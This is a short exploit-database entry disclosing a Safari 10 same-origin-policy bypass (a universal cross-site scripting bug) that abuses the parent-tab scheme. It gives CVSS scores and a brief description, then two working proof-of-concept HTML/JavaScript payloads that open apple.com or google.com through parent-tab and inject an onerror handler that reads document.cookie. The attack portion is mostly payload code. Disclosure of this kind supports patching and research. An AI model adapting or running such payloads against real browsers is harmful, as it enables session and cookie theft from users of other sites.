Safari 10 Local SOP bypass

2017.10.04
Credit: Bo0oM
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Impact: Processing maliciously crafted web content may lead to universal cross site scripting Description: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management. Safari 10 Local SOP bypass <script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button> Exploit by Frans Rosén data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>

References:

https://github.com/Bo0oM/CVE-2017-7089


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